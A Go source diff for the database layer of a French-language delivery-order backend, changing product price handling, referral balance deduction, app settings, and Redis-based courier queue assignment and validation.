d.GDB.Exec(`DELETE FROM product_prices WHERE product_id = ?`, productID)
|
||||||
|
|
||||||
for _, price := range prices {
|
for _, price := range prices {
|
||||||
if err := d.GDB.Exec(`INSERT INTO product_prices (product_id, quantity, price, active_price) VALUES (?, ?, ?, ?)`,
|
if err := d.GDB.Exec(`INSERT INTO product_prices (product_id, quantity, price) VALUES (?, ?, ?)`,
|
||||||
productID, price.Quantity, price.Price, price.ActivePrice).Error; err != nil {
|
productID, price.Quantity, price.Price).Error; err != nil {
|
||||||
return fmt.Errorf("erreur insertion prix: %w", err)
|
log.Printf("❌ [UpdateProduct] Erreur prix: %v", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) SetProductStock(productID int, stock float64) error {
|
|
||||||
result := d.GDB.Exec(`UPDATE products SET stock = ?, updated_at = ? WHERE id = ?`,
|
|
||||||
stock, time.Now(), productID)
|
|
||||||
if result.Error != nil {
|
|
||||||
return fmt.Errorf("erreur mise à jour stock: %w", result.Error)
|
|
||||||
}
|
|
||||||
if result.RowsAffected == 0 {
|
|
||||||
return fmt.Errorf("produit non trouvé")
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *Database) SetProductComingSoon(productID int, comingSoon bool) error {
|
|
||||||
result := d.GDB.Exec(`UPDATE products SET coming_soon = ?, updated_at = ? WHERE id = ?`,
|
|
||||||
comingSoon, time.Now(), productID)
|
|
||||||
if result.Error != nil {
|
|
||||||
return fmt.Errorf("erreur mise à jour coming_soon: %w", result.Error)
|
|
||||||
}
|
|
||||||
if result.RowsAffected == 0 {
|
|
||||||
return fmt.Errorf("produit non trouvé")
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// DeleteProduct supprime un produit
|
// DeleteProduct supprime un produit
|
||||||
func (d *Database) DeleteProduct(productID int) error {
|
func (d *Database) DeleteProduct(productID int) error {
|
||||||
result := d.GDB.Exec(`DELETE FROM products WHERE id = ?`, productID)
|
result := d.GDB.Exec(`DELETE FROM products WHERE id = ?`, productID)
|
||||||
|
|||||||
@@ -13,13 +13,19 @@ func (d *Database) GetProductPrices(productID int) ([]models.ProductPrice, error
|
|||||||
return prices, nil
|
return prices, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) AddActivePrice(priceID int) error {
|
func (d *Database) CreateProductPrice(productID int, quantity float64, price float64) error {
|
||||||
result := d.GDB.Model(&models.ProductPrice{}).
|
p := models.ProductPrice{ProductID: productID, Quantity: quantity, Price: price}
|
||||||
Where("id = ?", priceID).
|
if err := d.GDB.Create(&p).Error; err != nil {
|
||||||
Update("active_price", true)
|
return fmt.Errorf("erreur création prix: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) UpdateProductPrice(priceID int, quantity float64, price float64) error {
|
||||||
|
result := d.GDB.Model(&models.ProductPrice{}).Where("id = ?", priceID).
|
||||||
|
Updates(map[string]any{"quantity": quantity, "price": price})
|
||||||
if result.Error != nil {
|
if result.Error != nil {
|
||||||
return fmt.Errorf("erreur lors de l'activation du prix: %w", result.Error)
|
return fmt.Errorf("erreur mise à jour prix: %w", result.Error)
|
||||||
}
|
}
|
||||||
if result.RowsAffected == 0 {
|
if result.RowsAffected == 0 {
|
||||||
return fmt.Errorf("prix introuvable")
|
return fmt.Errorf("prix introuvable")
|
||||||
@@ -27,13 +33,10 @@ func (d *Database) AddActivePrice(priceID int) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) DeActivePrice(priceID int) error {
|
func (d *Database) DeleteProductPrice(priceID int) error {
|
||||||
result := d.GDB.Model(&models.ProductPrice{}).
|
result := d.GDB.Delete(&models.ProductPrice{}, priceID)
|
||||||
Where("id = ?", priceID).
|
|
||||||
Update("active_price", false)
|
|
||||||
|
|
||||||
if result.Error != nil {
|
if result.Error != nil {
|
||||||
return fmt.Errorf("erreur lors de l'activation du prix: %w", result.Error)
|
return fmt.Errorf("erreur suppression prix: %w", result.Error)
|
||||||
}
|
}
|
||||||
if result.RowsAffected == 0 {
|
if result.RowsAffected == 0 {
|
||||||
return fmt.Errorf("prix introuvable")
|
return fmt.Errorf("prix introuvable")
|
||||||
|
|||||||
@@ -58,3 +58,17 @@ func (d *Database) ResetClientReferralBalance(username string) error {
|
|||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (d *Database) UseClientReferralBalance(tx *gorm.DB, username string, amount float64) error {
|
||||||
|
if amount <= 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var balance float64
|
||||||
|
if err := tx.Raw(`SELECT referral_balance FROM clients WHERE username = ? FOR UPDATE`, username).Scan(&balance).Error; err != nil {
|
||||||
|
return fmt.Errorf("client non trouvé")
|
||||||
|
}
|
||||||
|
if balance < amount {
|
||||||
|
return fmt.Errorf("solde parrainage insuffisant (disponible: %.2f€)", balance)
|
||||||
|
}
|
||||||
|
return tx.Exec(`UPDATE clients SET referral_balance = referral_balance - ? WHERE username = ?`, amount, username).Error
|
||||||
|
}
|
||||||
|
|||||||
@@ -66,8 +66,7 @@ func DefaultSettings() models.AppSettings {
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
ShopName: "Milieu-Nantais",
|
ShopName: "Milieu-Nantais",
|
||||||
ContactTelegram: "MLN44LA",
|
|
||||||
DeliveryMode: models.DeliveryModeConfig{
|
DeliveryMode: models.DeliveryModeConfig{
|
||||||
Mode: "single",
|
Mode: "single",
|
||||||
CategoryRoutes: []models.CategoryRoute{},
|
CategoryRoutes: []models.CategoryRoute{},
|
||||||
@@ -112,11 +111,6 @@ func (d *Database) GetSettings() (models.AppSettings, error) {
|
|||||||
if err := json.Unmarshal([]byte(row.Value), &pools); err == nil {
|
if err := json.Unmarshal([]byte(row.Value), &pools); err == nil {
|
||||||
settings.PointsPools = pools
|
settings.PointsPools = pools
|
||||||
}
|
}
|
||||||
case "points_reward":
|
|
||||||
var reward models.PointsReward
|
|
||||||
if err := json.Unmarshal([]byte(row.Value), &reward); err == nil {
|
|
||||||
settings.PointsReward = &reward
|
|
||||||
}
|
|
||||||
case "referral_enabled":
|
case "referral_enabled":
|
||||||
settings.ReferralEnabled = row.Value == "true"
|
settings.ReferralEnabled = row.Value == "true"
|
||||||
case "referral_amount":
|
case "referral_amount":
|
||||||
@@ -146,8 +140,6 @@ func (d *Database) GetSettings() (models.AppSettings, error) {
|
|||||||
if err := json.Unmarshal([]byte(row.Value), &zones); err == nil {
|
if err := json.Unmarshal([]byte(row.Value), &zones); err == nil {
|
||||||
settings.PostalZones = zones
|
settings.PostalZones = zones
|
||||||
}
|
}
|
||||||
case "contact_telegram":
|
|
||||||
settings.ContactTelegram = row.Value
|
|
||||||
case "telegram_bot_token":
|
case "telegram_bot_token":
|
||||||
settings.TelegramBotToken = row.Value
|
settings.TelegramBotToken = row.Value
|
||||||
case "telegram_bot_username":
|
case "telegram_bot_username":
|
||||||
@@ -194,11 +186,6 @@ func (d *Database) UpdateSettings(s models.AppSettings) error {
|
|||||||
return fmt.Errorf("erreur sérialisation pools: %w", err)
|
return fmt.Errorf("erreur sérialisation pools: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
rewardJSON, err := json.Marshal(s.PointsReward)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("erreur sérialisation points_reward: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if s.NowPaymentsCurrencies == nil {
|
if s.NowPaymentsCurrencies == nil {
|
||||||
s.NowPaymentsCurrencies = []string{}
|
s.NowPaymentsCurrencies = []string{}
|
||||||
}
|
}
|
||||||
@@ -228,15 +215,11 @@ func (d *Database) UpdateSettings(s models.AppSettings) error {
|
|||||||
return fmt.Errorf("erreur sérialisation delivery_mode: %w", err)
|
return fmt.Errorf("erreur sérialisation delivery_mode: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if s.ContactTelegram == "" {
|
|
||||||
s.ContactTelegram = "MLN44LA"
|
|
||||||
}
|
|
||||||
pairs := [][2]string{
|
pairs := [][2]string{
|
||||||
{"penalties_enabled", boolStr(s.PenaltiesEnabled)},
|
{"penalties_enabled", boolStr(s.PenaltiesEnabled)},
|
||||||
{"show_amende_score", boolStr(s.ShowAmendeScore)},
|
{"show_amende_score", boolStr(s.ShowAmendeScore)},
|
||||||
{"points_enabled", boolStr(s.PointsEnabled)},
|
{"points_enabled", boolStr(s.PointsEnabled)},
|
||||||
{"points_pools", string(poolsJSON)},
|
{"points_pools", string(poolsJSON)},
|
||||||
{"points_reward", string(rewardJSON)},
|
|
||||||
{"referral_enabled", boolStr(s.ReferralEnabled)},
|
{"referral_enabled", boolStr(s.ReferralEnabled)},
|
||||||
{"referral_amount", strconv.FormatFloat(s.ReferralAmount, 'f', 2, 64)},
|
{"referral_amount", strconv.FormatFloat(s.ReferralAmount, 'f', 2, 64)},
|
||||||
{"crypto_payment_enabled", boolStr(s.CryptoPaymentEnabled)},
|
{"crypto_payment_enabled", boolStr(s.CryptoPaymentEnabled)},
|
||||||
@@ -252,7 +235,6 @@ func (d *Database) UpdateSettings(s models.AppSettings) error {
|
|||||||
{"telegram_2fa_enabled", boolStr(s.Telegram2FAEnabled)},
|
{"telegram_2fa_enabled", boolStr(s.Telegram2FAEnabled)},
|
||||||
{"delivery_mode", string(deliveryModeJSON)},
|
{"delivery_mode", string(deliveryModeJSON)},
|
||||||
{"shop_name", s.ShopName},
|
{"shop_name", s.ShopName},
|
||||||
{"contact_telegram", s.ContactTelegram},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
upsert := `INSERT INTO app_settings (key, value) VALUES (?, ?)
|
upsert := `INSERT INTO app_settings (key, value) VALUES (?, ?)
|
||||||
|
|||||||
@@ -109,45 +109,6 @@ func (d *Database) DeleteUserTelegramChatID(username string) error {
|
|||||||
return d.GDB.Model(&models.User{}).Where("username = ?", username).Update("telegram_chat_id", nil).Error
|
return d.GDB.Model(&models.User{}).Where("username = ?", username).Update("telegram_chat_id", nil).Error
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetAllLinkedTelegramAccounts retourne tous les comptes ayant un telegram_chat_id non-null.
|
|
||||||
func (d *Database) GetAllLinkedTelegramAccounts() ([]struct {
|
|
||||||
ChatID int64
|
|
||||||
Username string
|
|
||||||
Role string
|
|
||||||
}, error) {
|
|
||||||
type row struct {
|
|
||||||
ChatID int64 `gorm:"column:telegram_chat_id"`
|
|
||||||
Username string `gorm:"column:username"`
|
|
||||||
Role string `gorm:"column:role"`
|
|
||||||
}
|
|
||||||
|
|
||||||
var results []row
|
|
||||||
|
|
||||||
var clients []row
|
|
||||||
if err := d.GDB.Raw(`SELECT telegram_chat_id, username, 'client' AS role FROM clients WHERE telegram_chat_id IS NOT NULL`).Scan(&clients).Error; err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
results = append(results, clients...)
|
|
||||||
|
|
||||||
var users []row
|
|
||||||
if err := d.GDB.Raw(`SELECT telegram_chat_id, username, role FROM users WHERE telegram_chat_id IS NOT NULL`).Scan(&users).Error; err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
results = append(results, users...)
|
|
||||||
|
|
||||||
out := make([]struct {
|
|
||||||
ChatID int64
|
|
||||||
Username string
|
|
||||||
Role string
|
|
||||||
}, len(results))
|
|
||||||
for i, r := range results {
|
|
||||||
out[i].ChatID = r.ChatID
|
|
||||||
out[i].Username = r.Username
|
|
||||||
out[i].Role = r.Role
|
|
||||||
}
|
|
||||||
return out, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetUserByTelegramChatID retrouve un utilisateur (clients + users) par chat_id
|
// GetUserByTelegramChatID retrouve un utilisateur (clients + users) par chat_id
|
||||||
func (d *Database) GetUserByTelegramChatID(chatID int64) (username, role string, err error) {
|
func (d *Database) GetUserByTelegramChatID(chatID int64) (username, role string, err error) {
|
||||||
var clientResult struct {
|
var clientResult struct {
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package db
|
|||||||
|
|
||||||
import "gorm.io/gorm"
|
import "gorm.io/gorm"
|
||||||
|
|
||||||
|
// isNotFound retourne true si l'erreur GORM est un "record not found"
|
||||||
func isNotFound(err error) bool {
|
func isNotFound(err error) bool {
|
||||||
return err == gorm.ErrRecordNotFound
|
return err == gorm.ErrRecordNotFound
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -67,6 +67,57 @@ func (d *Database) FindLeastLoadedDeliveryman() (string, error) {
|
|||||||
return leastLoaded, nil
|
return leastLoaded, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// FindAvailableOrLeastLoadedDeliveryman trouve un livreur disponible ou le moins chargé
|
||||||
|
func (d *Database) FindAvailableOrLeastLoadedDeliveryman() (string, string, int, error) {
|
||||||
|
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||||
|
if err != nil || len(keys) == 0 {
|
||||||
|
return "", "", 0, fmt.Errorf("aucun livreur trouvé")
|
||||||
|
}
|
||||||
|
|
||||||
|
var bestDeliveryman string
|
||||||
|
var bestStatus string
|
||||||
|
bestQueueSize := int64(MAX_COMMANDS_PER_DELIVERYMAN + 1)
|
||||||
|
|
||||||
|
for _, key := range keys {
|
||||||
|
username := key[len("delivery:status:"):]
|
||||||
|
|
||||||
|
data, err := Redis.Get(RedisCtx, key).Result()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
var status models.DeliveryPersonStatus
|
||||||
|
json.Unmarshal([]byte(data), &status)
|
||||||
|
|
||||||
|
if status.Status == "offline" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if !d.CanDeliverymanAcceptCommands(username) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
queueKey := fmt.Sprintf("queue:deliveryman:%s", username)
|
||||||
|
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||||
|
|
||||||
|
if status.Status == "available" && queueSize == 0 {
|
||||||
|
return username, "available", 0, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if queueSize < bestQueueSize {
|
||||||
|
bestQueueSize = queueSize
|
||||||
|
bestDeliveryman = username
|
||||||
|
bestStatus = status.Status
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if bestDeliveryman == "" {
|
||||||
|
return "", "", 0, fmt.Errorf("tous les livreurs sont au maximum de leur capacité")
|
||||||
|
}
|
||||||
|
|
||||||
|
return bestDeliveryman, bestStatus, int(bestQueueSize), nil
|
||||||
|
}
|
||||||
|
|
||||||
// GetLeastLoadedDeliverymanForced retourne le livreur avec le moins de commandes (SANS limite)
|
// GetLeastLoadedDeliverymanForced retourne le livreur avec le moins de commandes (SANS limite)
|
||||||
func (d *Database) GetLeastLoadedDeliverymanForced() (string, int64, error) {
|
func (d *Database) GetLeastLoadedDeliverymanForced() (string, int64, error) {
|
||||||
activeUsernames, err := d.GetAllActiveDeliverymenUsernames()
|
activeUsernames, err := d.GetAllActiveDeliverymenUsernames()
|
||||||
|
|||||||
@@ -156,6 +156,10 @@ func (d *Database) CalculateETABetweenPoints(lat1, lng1, lat2, lng2 float64) int
|
|||||||
return services.CalculateETA(distance)
|
return services.CalculateETA(distance)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (d *Database) GetDeliverymanQueueStats(deliveryman string) (map[string]any, error) {
|
||||||
|
return d.GetDeliverymanQueueInfo(deliveryman)
|
||||||
|
}
|
||||||
|
|
||||||
func (d *Database) SetCommandETAWithDetails(commandID, totalETA, queuePosition int) error {
|
func (d *Database) SetCommandETAWithDetails(commandID, totalETA, queuePosition int) error {
|
||||||
key := fmt.Sprintf("command:eta:%d", commandID)
|
key := fmt.Sprintf("command:eta:%d", commandID)
|
||||||
|
|
||||||
|
|||||||
@@ -87,6 +87,35 @@ func (d *Database) AssignCommandToDeliverymanQueue(commandID int, deliveryman st
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// AssignCommandToDeliverymanQueueUnlimited assigne sans limite (pour un seul livreur)
|
||||||
|
func (d *Database) AssignCommandToDeliverymanQueueUnlimited(deliveryman string, queueItem models.CommandQueue) error {
|
||||||
|
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||||
|
currentQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||||
|
|
||||||
|
travelTime := d.CalculateETAForDeliveryman(deliveryman, queueItem.Lat, queueItem.Lng)
|
||||||
|
|
||||||
|
queueItem.EstimatedETA = travelTime
|
||||||
|
|
||||||
|
err := d.AddToDeliverymanQueue(deliveryman, queueItem)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("erreur ajout à la queue: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
d.UpdateCommandStatus(queueItem.CommandID, "assigned")
|
||||||
|
d.AssignDeliveryPerson(queueItem.CommandID, deliveryman)
|
||||||
|
d.SetCommandETAWithDetails(queueItem.CommandID, travelTime, int(currentQueueSize)+1)
|
||||||
|
|
||||||
|
d.AddCommandLog(queueItem.CommandID, "queued",
|
||||||
|
fmt.Sprintf("Assigné au seul livreur actif %s (position: %d, ETA trajet: %d min)",
|
||||||
|
deliveryman, currentQueueSize+1, travelTime),
|
||||||
|
"system")
|
||||||
|
|
||||||
|
log.Printf("✅ Commande %d -> Queue %s (SANS LIMITE - pos: %d, ETA trajet: %d min)",
|
||||||
|
queueItem.CommandID, deliveryman, currentQueueSize+1, travelTime)
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// AssignCommandToDeliverymanQueueWithCoords assigne une commande avec les coordonnées GPS
|
// AssignCommandToDeliverymanQueueWithCoords assigne une commande avec les coordonnées GPS
|
||||||
func (d *Database) AssignCommandToDeliverymanQueueWithCoords(commandID int, deliveryman string, estimatedTravelTime int, lat, lng float64, address string) error {
|
func (d *Database) AssignCommandToDeliverymanQueueWithCoords(commandID int, deliveryman string, estimatedTravelTime int, lat, lng float64, address string) error {
|
||||||
command, err := d.GetCommandByID(commandID)
|
command, err := d.GetCommandByID(commandID)
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import (
|
|||||||
func (d *Database) CleanupInvalidQueueCommands() (int, error) {
|
func (d *Database) CleanupInvalidQueueCommands() (int, error) {
|
||||||
log.Println("🧹 [CLEANUP] Démarrage du nettoyage des commandes invalides...")
|
log.Println("🧹 [CLEANUP] Démarrage du nettoyage des commandes invalides...")
|
||||||
|
|
||||||
keys, err := scanRedisKeys("queue:pending:*")
|
keys, err := Redis.Keys(RedisCtx, "queue:pending:*").Result()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, fmt.Errorf("erreur récupération des clés: %w", err)
|
return 0, fmt.Errorf("erreur récupération des clés: %w", err)
|
||||||
}
|
}
|
||||||
@@ -94,7 +94,7 @@ func (d *Database) removeInvalidCommand(key string, commandID int, reason string
|
|||||||
Redis.ZRem(RedisCtx, "queue:priority:sorted", commandIDStr)
|
Redis.ZRem(RedisCtx, "queue:priority:sorted", commandIDStr)
|
||||||
|
|
||||||
// 3. Supprimer des queues de livreurs
|
// 3. Supprimer des queues de livreurs
|
||||||
livreurKeys, _ := scanRedisKeys("queue:deliveryman:*")
|
livreurKeys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
|
||||||
for _, queueKey := range livreurKeys {
|
for _, queueKey := range livreurKeys {
|
||||||
if len(queueKey) > 6 && queueKey[len(queueKey)-6:] == ":count" {
|
if len(queueKey) > 6 && queueKey[len(queueKey)-6:] == ":count" {
|
||||||
continue
|
continue
|
||||||
@@ -203,3 +203,64 @@ func (d *Database) StartQueueCleanupScheduler() {
|
|||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// RAPPORT DE VALIDATION
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// GetQueueValidationReport génère un rapport de validation sans supprimer
|
||||||
|
func (d *Database) GetQueueValidationReport() (map[string]any, error) {
|
||||||
|
keys, err := Redis.Keys(RedisCtx, "queue:pending:*").Result()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
report := map[string]any{
|
||||||
|
"total_commands": len(keys),
|
||||||
|
"valid_commands": 0,
|
||||||
|
"invalid_commands": 0,
|
||||||
|
"invalid_details": []map[string]any{},
|
||||||
|
"validation_results": []string{},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, key := range keys {
|
||||||
|
data, err := Redis.Get(RedisCtx, key).Result()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
var queueItem models.CommandQueue
|
||||||
|
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
|
||||||
|
report["invalid_commands"] = report["invalid_commands"].(int) + 1
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validation
|
||||||
|
issues := []string{}
|
||||||
|
if queueItem.Username == "" {
|
||||||
|
issues = append(issues, "username vide")
|
||||||
|
}
|
||||||
|
if queueItem.Address == "" {
|
||||||
|
issues = append(issues, "adresse vide")
|
||||||
|
}
|
||||||
|
if queueItem.Lat == 0 || queueItem.Lng == 0 {
|
||||||
|
issues = append(issues, "GPS manquant")
|
||||||
|
}
|
||||||
|
if queueItem.CreatedAt.IsZero() {
|
||||||
|
issues = append(issues, "date invalide")
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(issues) > 0 {
|
||||||
|
report["invalid_commands"] = report["invalid_commands"].(int) + 1
|
||||||
|
report["invalid_details"] = append(report["invalid_details"].([]map[string]any), map[string]any{
|
||||||
|
"command_id": queueItem.CommandID,
|
||||||
|
"issues": issues,
|
||||||
|
"data": queueItem,
|
||||||
|
})
|
||||||
|
} else {
|
||||||
|
report["valid_commands"] = report["valid_commands"].(int) + 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return report, nil
|
||||||
|
}
|
||||||
|
|||||||
@@ -68,9 +68,8 @@ func (d *Database) GetAllQueuesOverview() (map[string]any, error) {
|
|||||||
overview["general_queue"] = generalQueueSize
|
overview["general_queue"] = generalQueueSize
|
||||||
|
|
||||||
deliverymanQueues := make(map[string]any)
|
deliverymanQueues := make(map[string]any)
|
||||||
keys, _ := scanRedisKeys("queue:deliveryman:*")
|
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
|
||||||
|
|
||||||
var totalPending int64 = generalQueueSize
|
|
||||||
for _, key := range keys {
|
for _, key := range keys {
|
||||||
if len(key) > 6 && key[len(key)-6:] == ":count" {
|
if len(key) > 6 && key[len(key)-6:] == ":count" {
|
||||||
continue
|
continue
|
||||||
@@ -84,7 +83,16 @@ func (d *Database) GetAllQueuesOverview() (map[string]any, error) {
|
|||||||
"can_accept_more": queueSize < MAX_COMMANDS_PER_DELIVERYMAN,
|
"can_accept_more": queueSize < MAX_COMMANDS_PER_DELIVERYMAN,
|
||||||
"capacity": fmt.Sprintf("%d/%d", queueSize, MAX_COMMANDS_PER_DELIVERYMAN),
|
"capacity": fmt.Sprintf("%d/%d", queueSize, MAX_COMMANDS_PER_DELIVERYMAN),
|
||||||
}
|
}
|
||||||
totalPending += queueSize
|
}
|
||||||
|
|
||||||
|
overview["deliveryman_queues"] = deliverymanQueues
|
||||||
|
var totalPending int64 = generalQueueSize
|
||||||
|
for _, key := range keys {
|
||||||
|
if len(key) > 6 && key[len(key)-6:] == ":count" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
size, _ := Redis.ZCard(RedisCtx, key).Result()
|
||||||
|
totalPending += size
|
||||||
}
|
}
|
||||||
overview["total_pending"] = totalPending
|
overview["total_pending"] = totalPending
|
||||||
|
|
||||||
@@ -97,7 +105,7 @@ func (d *Database) GetQueueStats() (map[string]any, error) {
|
|||||||
priorityCount, _ := Redis.ZCard(RedisCtx, "queue:priority:sorted").Result()
|
priorityCount, _ := Redis.ZCard(RedisCtx, "queue:priority:sorted").Result()
|
||||||
|
|
||||||
var deliverymanQueueCount int64
|
var deliverymanQueueCount int64
|
||||||
keys, _ := scanRedisKeys("queue:deliveryman:*")
|
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
|
||||||
for _, key := range keys {
|
for _, key := range keys {
|
||||||
if len(key) > 6 && key[len(key)-6:] == ":count" {
|
if len(key) > 6 && key[len(key)-6:] == ":count" {
|
||||||
continue
|
continue
|
||||||
@@ -109,8 +117,7 @@ func (d *Database) GetQueueStats() (map[string]any, error) {
|
|||||||
var totalWaitTime int64
|
var totalWaitTime int64
|
||||||
var commandCount int64
|
var commandCount int64
|
||||||
|
|
||||||
// Limité aux 100 premières entrées pour ne pas bloquer Redis sur une grande queue
|
normalResults, _ := Redis.ZRangeWithScores(RedisCtx, "queue:pending:sorted", 0, -1).Result()
|
||||||
normalResults, _ := Redis.ZRangeWithScores(RedisCtx, "queue:pending:sorted", 0, 99).Result()
|
|
||||||
for _, result := range normalResults {
|
for _, result := range normalResults {
|
||||||
commandID := extractCommandID(result.Member)
|
commandID := extractCommandID(result.Member)
|
||||||
if commandID <= 0 {
|
if commandID <= 0 {
|
||||||
|
|||||||
@@ -86,6 +86,40 @@ func (d *Database) CanDeliverymanAcceptCommands(deliveryman string) bool {
|
|||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetAvailableDeliveryPersonsForAssignment récupère UNIQUEMENT les livreurs pouvant accepter
|
||||||
|
func (d *Database) GetAvailableDeliveryPersonsForAssignment() ([]models.DeliveryPersonStatus, error) {
|
||||||
|
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var available []models.DeliveryPersonStatus
|
||||||
|
|
||||||
|
for _, key := range keys {
|
||||||
|
data, err := Redis.Get(RedisCtx, key).Result()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
var status models.DeliveryPersonStatus
|
||||||
|
if err := json.Unmarshal([]byte(data), &status); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if d.CanDeliverymanAcceptCommands(status.Username) {
|
||||||
|
available = append(available, status)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("📊 [AVAILABLE] %d livreur(s) disponible(s) pour assignation", len(available))
|
||||||
|
|
||||||
|
return available, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// 🔄 FONCTIONS MODIFIÉES AVEC AUTO-STATUS
|
||||||
|
// ============================================
|
||||||
|
|
||||||
// AddToDeliverymanQueue - VERSION MISE À JOUR avec auto-update du statut
|
// AddToDeliverymanQueue - VERSION MISE À JOUR avec auto-update du statut
|
||||||
func (d *Database) AddToDeliverymanQueue(deliveryman string, queueItem models.CommandQueue) error {
|
func (d *Database) AddToDeliverymanQueue(deliveryman string, queueItem models.CommandQueue) error {
|
||||||
data, err := json.Marshal(queueItem)
|
data, err := json.Marshal(queueItem)
|
||||||
@@ -116,6 +150,111 @@ func (d *Database) AddToDeliverymanQueue(deliveryman string, queueItem models.Co
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// AddCommandToQueue ajoute une commande à la file d'attente Redis (version simple)
|
||||||
|
func (d *Database) AddCommandToQueue(commandID int) error {
|
||||||
|
if err := d.ValidateCommandBeforeQueue(commandID); err != nil {
|
||||||
|
log.Printf("❌ [QUEUE] Commande %d REFUSÉE: %v", commandID, err)
|
||||||
|
return fmt.Errorf("validation échouée: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
command, err := d.GetCommandByID(commandID)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("commande introuvable: %w", err)
|
||||||
|
}
|
||||||
|
var lat, lng float64
|
||||||
|
if command["dest_latitude"] != nil {
|
||||||
|
if latVal, ok := command["dest_latitude"].(float64); ok {
|
||||||
|
lat = latVal
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if command["dest_longitude"] != nil {
|
||||||
|
if lngVal, ok := command["dest_longitude"].(float64); ok {
|
||||||
|
lng = lngVal
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var totalPrice float64
|
||||||
|
if tp, ok := command["total_prix"].(float64); ok {
|
||||||
|
totalPrice = tp
|
||||||
|
}
|
||||||
|
|
||||||
|
var address string
|
||||||
|
if addr, ok := command["delivery_address"].(string); ok {
|
||||||
|
address = addr
|
||||||
|
}
|
||||||
|
|
||||||
|
queueItem := models.CommandQueue{
|
||||||
|
CommandID: commandID,
|
||||||
|
Username: command["username"].(string),
|
||||||
|
TotalPrice: totalPrice,
|
||||||
|
Address: address,
|
||||||
|
Lat: lat,
|
||||||
|
Lng: lng,
|
||||||
|
CreatedAt: time.Now(),
|
||||||
|
EstimatedETA: 0,
|
||||||
|
}
|
||||||
|
|
||||||
|
return d.AddToGeneralQueue(queueItem)
|
||||||
|
}
|
||||||
|
|
||||||
|
// AddCommandToSmartQueue - Ajoute une commande avec attribution au livreur le moins chargé
|
||||||
|
func (d *Database) AddCommandToSmartQueue(commandID int, address string) error {
|
||||||
|
if err := d.ValidateCommandBeforeQueue(commandID); err != nil {
|
||||||
|
log.Printf("❌ [QUEUE] Commande %d REFUSÉE: %v", commandID, err)
|
||||||
